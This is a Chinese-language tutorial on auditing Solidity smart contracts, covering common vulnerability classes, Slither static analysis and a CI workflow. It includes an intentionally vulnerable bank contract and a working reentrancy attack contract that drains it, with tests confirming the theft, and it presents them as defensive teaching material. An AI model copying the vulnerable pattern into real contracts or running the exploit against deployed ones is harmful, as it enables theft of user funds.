区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,上链代码几乎不可更改;而一旦出事,损失又往往是“真金白银”。所以合约安全审计不是锦上添花,而是上线前最该优先排的工作之一。
这篇文章我会按“先理解风险,再手动识别,再接自动化工具,最后收敛为流程”的顺序,带你走一遍实战。读完你应该能:
- 看懂几类高频智能合约漏洞的触发机制
- 用一个可运行的小项目复现实战问题
- 搭一个基础自动化检测流程
- 知道哪些报警值得重视,哪些只是“工具噪音”
背景与问题
很多团队第一次做合约安全,容易掉进两个极端:
-
只靠人工看代码
容易遗漏边界条件,特别是状态变化与外部调用交织时。 -
只跑自动化工具
工具能发现模式化问题,但很难理解业务约束,比如“这个函数本来就应该只允许特定角色在某个时间窗口调用”。
我自己实际做审计时,最常见的现实问题通常不是“完全不会”,而是下面这些:
- 代码逻辑能跑,但权限控制不完整
- 使用了
call、delegatecall却没有理解上下文 - 依赖
block.timestamp、tx.origin做关键判断 - 升级代理、初始化函数、管理员权限这些“工程问题”比数学错误更容易出事故
- 自动化工具跑出来一堆结果,团队不会分级,也不会验证真假阳性
所以一个更靠谱的思路是:
人工审计负责理解业务和攻击面,自动化检测负责做批量扫描与回归检查。
前置知识
如果你已经有 Solidity 基础,这部分可以快速略过。建议至少具备以下知识:
- Solidity 基本语法
- EVM 调用模型:
call、delegatecall、staticcall - 事件、存储布局、可见性修饰符
- 常见开发框架:Hardhat 或 Foundry
- 基本测试能力:单元测试、断言、脚本运行
环境准备
本文示例使用 Hardhat + Solidity + Slither。环境如下:
- Node.js 16+
- Python 3.8+
- Solidity 0.8.x
- Hardhat
- Slither
- solc-select(方便切换编译器)
1)初始化 Hardhat 项目
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat
选择一个基础 JavaScript 项目即可。
2)安装 Slither
pip install slither-analyzer
pip install solc-select
solc-select install 0.8.20
solc-select use 0.8.20
核心原理
合约审计的核心不是“背漏洞清单”,而是建立一套稳定的判断框架。通常我会按下面四个维度看:
-
权限边界
- 谁能调用?
- 谁能升级?
- 谁能暂停、铸币、提取资产?
-
状态安全
- 状态更新是否早于外部调用?
- 是否存在重入、竞态、重复初始化?
-
资金安全
- 资金流向是否可追踪?
- 是否可能锁死、被盗、被错误分配?
-
业务一致性
- 代码是否满足协议规则?
- 是否存在通缩/手续费代币兼容性问题?
- 是否考虑异常 token 行为?
一张总览图:审计流程怎么走
flowchart TD
A[阅读协议文档与威胁模型] --> B[识别核心资产与关键权限]
B --> C[人工审查关键合约]
C --> D[静态分析工具扫描]
D --> E[编写PoC与测试复现]
E --> F[修复与二次验证]
F --> G[固化为CI自动化流程]
常见漏洞识别思路
下面这几类,是实战里高频又必须熟悉的。
1)重入攻击
典型特征:
- 合约先执行外部调用
- 外部调用期间攻击者回调原函数
- 状态尚未更新,导致重复提取
错误模式通常像这样:
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
正确思路通常是:
- 先更新状态,再外部调用
- 使用
ReentrancyGuard - 优先采用“拉取式提取”(pull payment)
2)权限控制缺失
例如:
- 敏感函数没有
onlyOwner - 初始化函数可被重复调用
- 升级函数暴露给普通用户
- 使用
tx.origin而不是msg.sender
tx.origin 的问题在于:它反映的是整条调用链最初发起者,不适合做权限判断。
3)整数与边界问题
Solidity 0.8+ 已内置溢出检查,但边界错误仍然很多,比如:
- 除法精度丢失
- 份额计算顺序不对
- 手续费先除后乘导致结果错误
for循环 gas 过高引发 DoS 风险
4)随机数不安全
直接使用:
block.timestampblockhashblock.prevrandao(虽更好,但依然不能简单用于高价值强随机)
如果奖励很大,攻击者和打包者就有动机操控结果。
5)拒绝服务与资金锁定
例如:
- 一个失败的外部转账阻塞整个批处理
- 遍历超大数组导致函数永远执行不完
- 资金提取依赖某个永远可能失败的接收方
用一个最小示例复现漏洞
下面我们做一个有意写错的“银行合约”,复现重入问题,再给出修复版。
实战代码(可运行)
漏洞合约:contracts/VulnerableBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
require(msg.value > 0, "zero value");
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
// 漏洞点:先转账,再更新余额
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
攻击合约:contracts/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
function getBalance() external view returns (uint256);
}
contract Attacker {
IVulnerableBank public bank;
uint256 public attackAmount;
constructor(address _bank) {
bank = IVulnerableBank(_bank);
}
function attack() external payable {
require(msg.value >= 1 ether, "need at least 1 ether");
attackAmount = 1 ether;
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
receive() external payable {
if (address(bank).balance >= attackAmount) {
bank.withdraw(attackAmount);
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
修复版合约:contracts/SafeBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SafeBank {
mapping(address => uint256) public balances;
bool private locked;
modifier nonReentrant() {
require(!locked, "reentrant call");
locked = true;
_;
locked = false;
}
function deposit() external payable {
require(msg.value > 0, "zero value");
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient");
// 先更新状态,再外部调用
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
测试代码:test/reentrancy.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Demo", function () {
it("should exploit VulnerableBank", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
// 正常用户先存入 5 ETH,制造可被盗资金池
await bank.connect(user).deposit({ value: ethers.parseEther("5") });
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
// 攻击者投入 1 ETH 发动攻击
await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());
expect(bankBalance).to.equal(0n);
expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
});
it("should block attack on SafeBank", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const SafeBank = await ethers.getContractFactory("SafeBank", deployer);
const safeBank = await SafeBank.deploy();
await safeBank.waitForDeployment();
await safeBank.connect(user).deposit({ value: ethers.parseEther("5") });
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await safeBank.getAddress());
await attacker.waitForDeployment();
await expect(
attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
).to.be.reverted;
});
});
运行测试
npx hardhat test
攻击调用过程图
很多人第一次学重入时,代码能看懂,但调用栈绕不清。这个时序图能帮助你一下子看明白。
sequenceDiagram
participant U as 攻击者EOA
participant A as Attacker
participant B as VulnerableBank
U->>A: attack(1 ETH)
A->>B: deposit(1 ETH)
A->>B: withdraw(1 ETH)
B-->>A: call{value:1 ETH}()
A->>B: receive() 中再次调用 withdraw(1 ETH)
B-->>A: 再次转账
Note over B: 因为余额尚未扣减,重复提取成功
自动化检测流程搭建
人工复现一遍漏洞后,下一步就该把“能力”变成“流程”。这里给一个适合中小团队落地的基础版本。
1)先跑静态分析
在项目根目录执行:
slither .
如果工程较复杂,也可以指定路径:
slither contracts/VulnerableBank.sol
对于上面的漏洞合约,Slither 通常会提示重入风险、低级调用等问题。
2)建议输出机器可读结果
slither . --json slither-report.json
这样后续可以接 CI、做结果归档或质量门禁。
3)在 CI 中自动执行
以 GitHub Actions 为例,创建 .github/workflows/security.yml:
name: Smart Contract Security Check
on:
push:
branches: [main, master]
pull_request:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 18
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.10"
- name: Install Node deps
run: npm install
- name: Install Slither
run: |
pip install slither-analyzer
pip install solc-select
solc-select install 0.8.20
solc-select use 0.8.20
- name: Compile
run: npx hardhat compile
- name: Run tests
run: npx hardhat test
- name: Run Slither
run: slither . --json slither-report.json
4)把人工审计清单纳入提交流程
自动化不是替代人,而是提醒人。比较实用的做法是每次 PR 都附一份检查清单:
- 是否新增外部调用?
- 是否新增管理员权限?
- 是否引入升级入口?
- 是否处理异常 token 行为?
- 是否有数组遍历导致 gas 风险?
- 是否更新了测试覆盖关键路径?
自动化流程全景图
flowchart LR
A[开发提交代码] --> B[Hardhat编译]
B --> C[单元测试]
C --> D[Slither静态分析]
D --> E[人工复核高危项]
E --> F[修复与回归测试]
F --> G[合并上线]
逐步验证清单
如果你想自己完整做一遍,建议按这个顺序:
- 初始化 Hardhat 项目
- 写入
VulnerableBank.sol - 写入
Attacker.sol - 写入测试脚本
- 本地执行测试,确认攻击成功
- 切换为
SafeBank.sol - 再次运行测试,确认攻击失败
- 执行
slither . - 查看报警结果并对照代码理解
- 把 Slither + 测试接入 CI
这个过程很重要,因为只看文章“知道”漏洞,和自己跑通“真正理解”漏洞,中间差很多。
常见坑与排查
坑 1:Slither 跑不起来
常见原因:
solc版本不匹配- Hardhat 配置与本地编译器版本不一致
- Python 环境安装不完整
排查方式:
solc --version
python --version
npx hardhat compile
slither .
建议先保证 Hardhat 能编译,再去跑 Slither。
坑 2:测试里攻击没成功
我见过最多的是这几种情况:
- 银行合约里没有足够的可盗资金
receive()没写对- 攻击金额和判断条件不一致
- Solidity 版本或测试断言写法不兼容
比如,如果银行里只有攻击者自己存入的 1 ETH,那即使重入成功,效果也不明显。一定要先让别的账户存入一笔钱,形成资金池。
坑 3:误把工具告警都当真
自动化工具会有真假阳性混杂的情况。你需要分级:
- 高危:重入、未受控权限、可升级入口错误、签名验证错误
- 中危:不安全随机数、DoS 风险、精度损失
- 低危:代码风格、事件缺失、可读性问题
我一般建议先抓“资金直接损失”和“权限失控”两类问题,因为这两类最容易出大事故。
坑 4:只审业务代码,不审部署与初始化
实际线上事故里,很多问题不在业务逻辑,而在工程流程:
- 代理合约初始化被抢先调用
- 管理员地址配错
- 多签未生效
- 测试环境参数带到了生产环境
这个坑很隐蔽,因为代码本身“看起来没问题”,但部署方式让系统暴露了。
安全/性能最佳实践
1)遵循 Checks-Effects-Interactions
也就是:
- 先检查条件
- 再更新状态
- 最后与外部交互
这是抵御重入的基础习惯,虽然不是万能,但非常有效。
2)敏感操作必须有明确权限模型
建议区分以下角色:
owneradminoperatorpauserupgrader
不要把所有权力都堆在一个地址上。对高价值协议,最好再配多签与时间锁。
3)避免在链上做大规模遍历
像下面这种设计要特别小心:
for (uint256 i = 0; i < users.length; i++) {
// 批量处理
}
用户一多,就可能因为 gas 不足无法执行,形成 DoS。更稳妥的办法包括:
- 分批处理
- 用户自行领取
- 用 Merkle proof 做离线计算、链上验证
4)对外部 token 保持“不信任”态度
不是所有 ERC-20 都像标准里写得那么乖。要考虑:
- 返回值不规范
- 手续费代币
- 黑名单代币
- 回调行为
- 精度不一致
如果你的协议要兼容第三方 token,最好做适配层,并且测试非标准场景。
5)把测试做成“攻击驱动”
不要只写“正常充值、正常提现”。更有价值的是:
- 重复调用
- 越权调用
- 极限值输入
- 角色切换
- 恶意合约回调
- 时间窗口边界
- 升级前后存储一致性
很多漏洞就是在“本来不该有人这么调”的路径里触发的。攻击者恰恰最喜欢走这些路径。
6)自动化检测要和人工审计配合
一个比较实用的组合是:
- 单元测试:验证功能正确性
- 静态分析:扫描通用漏洞模式
- 人工审计:理解业务逻辑与信任边界
- 回归流程:修复后防止漏洞回归
如果项目资金规模大,再进一步上:
- 模糊测试
- 形式化验证
- 第三方审计
- 赏金计划
一个简化的审计思维模型
如果你拿到一个陌生合约,不知道从哪开始,我建议按下面这个顺序过:
stateDiagram-v2
[*] --> 识别资产
识别资产 --> 找权限入口
找权限入口 --> 查外部调用
查外部调用 --> 看状态更新顺序
看状态更新顺序 --> 验证边界条件
验证边界条件 --> 编写PoC
编写PoC --> 输出审计结论
输出审计结论 --> [*]
这个顺序的好处是:不会一上来就陷进细枝末节,而是先抓住最危险的地方。
总结
智能合约安全审计,真正有效的方式不是“背几个漏洞名词”,而是建立一套能反复执行的方法:
- 先理解协议中的资产、权限、外部交互
- 再从重入、权限、边界、DoS、随机性这些高频问题切入
- 用 PoC 测试确认风险是否真实可利用
- 最后把 静态分析 + 单元测试 + CI 变成团队日常流程
如果你是中级开发者,我给你的可执行建议是:
- 先从一个最小漏洞样例开始,自己跑通攻击与修复
- 每个项目至少接入一次静态分析工具
- 对所有敏感函数做权限复盘
- 对所有外部调用检查状态更新顺序
- 上线前至少做一轮“攻击者视角”的测试
边界条件也要说清楚:自动化工具不能替代业务审计,而人工经验也不能替代持续扫描。真正靠谱的安全实践,往往是两者结合。
如果你现在就准备落地,最小可行方案其实很简单:Hardhat 测试 + Slither 扫描 + PR 检查清单。先把这三样做好,安全基线就已经比很多项目强不少了。